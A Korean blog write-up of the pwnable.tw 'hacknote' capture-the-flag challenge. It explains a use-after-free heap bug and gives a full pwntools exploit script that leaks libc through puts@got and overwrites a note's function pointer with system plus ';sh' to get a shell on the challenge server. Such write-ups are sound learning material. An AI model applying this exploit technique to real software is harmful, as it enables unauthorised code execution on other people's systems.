본문 바로가기
Wargame Write-Up/Pwnable.tw

[Pwnable.tw] hacknote 풀이

by snwo 2021. 10. 19.

hacknote

TL;DR

manipulate function pointer heap challnege

analysis

메뉴는

  1. 할당
  2. 삭제
  3. 함수포인터 호출

이렇게 있다. 전역변수 ptr 에 청크를 5개까지만 입력받을 수 있다.

ptr[i] = malloc(0x8) → function address

                            → malloc(input size) → contents

할당할 때는 malloc(0x8), malloc(input size) 순으로 할당받고,

해제할 때는 역순으로 해제한다.

함수포인터를 호출할 때는

(*ptr[i])(ptr[i]); 이런식으로 호출한다.

그 함수는 인자+4 값을 참조해 contents 를 출력해준다.

vulns

ptr 를 초기화하지 않아 uaf 도 발생.

exploit

malloc(0x8) → A

malloc(input size) → B

malloc(0x8) → C

...

LIFO 구조의 fastbin 에서, A 를 malloc(input size) 에 할당받기 위해서,는

input size 에 8을 넣어 두개를 할당해 순서대로 해제.

fastbin → C D A B (왼쪽부터 재사용)

사이즈가 다른 청크 하나를 할당한다면, 저 bin 에서 C 만 빠져나간다.

다음으로 inputsize = 8 인 chunk 하나를 더 할당하면,

malloc(0x8) → D

malloc(input size=8) → A

이런식으로 할당이 돼서 ptr[0] 이 가리키는 chunk 값을 컨트롤 할 수 있다. (uaf 발생하기 때문)

A 에는 8바이트를 입력받을 수 있기 때문에,

출력해주는 함수 + puts@got 을 입력하면 leak 할 수 있다.

그리고 이 chunk 를 해제하면,

fastbin → D A B

다음에 8바이트짜리를 할당할 때 다시 chunk 값을 컨트롤 할 수 있다.

원샷 가젯은 안먹히고, system 함수를 함수포인터가 가리키게 해도,

인자로 자기 자신을 주기때문에 system(&system); 이렇게 실행된다.

근데 다음 4바이트에 ;sh 를 써주면, 함수 주소에 이어서 sh 가 실행되므로 쉘을 딸 수 있다.

[함수주소];sh

from pwn import *
b=ELF("./hacknote")
lib=ELF("./libc_32.so.6")
# lib=ELF("/lib/i386-linux-gnu/libc-2.27.so")
context.log_level='debug'
# r=process("./hacknote")
r=remote("chall.pwnable.tw",10102)
def add(size,content):
    r.sendlineafter(":","1")
    r.sendlineafter(":",str(size))
    r.sendlineafter(":",content)

def d(index):
    r.sendlineafter(":","2")
    r.sendlineafter(":",str(index))

def p(index):
    r.sendlineafter(":","3")
    r.sendlineafter(":",str(index))

add(8,'asdf')
add(8,'asdf')
d(0)
d(1)
add(100,'asdfasdf')
add(8,p32(0x804862b)+p32(b.got['puts']))
p(0)
base=u32(r.recvuntil(b'\xf7')[:-5:-1][::-1])-lib.sym['puts']
log.info(hex(base))
system=base+lib.sym['system']
binsh=list(lib.search(b"/bin/sh"))[0]+base

pause()
d(3)
add(8,p32(system)+b';sh\x00')
p(0)

r.interactive()
0xf7ecd0af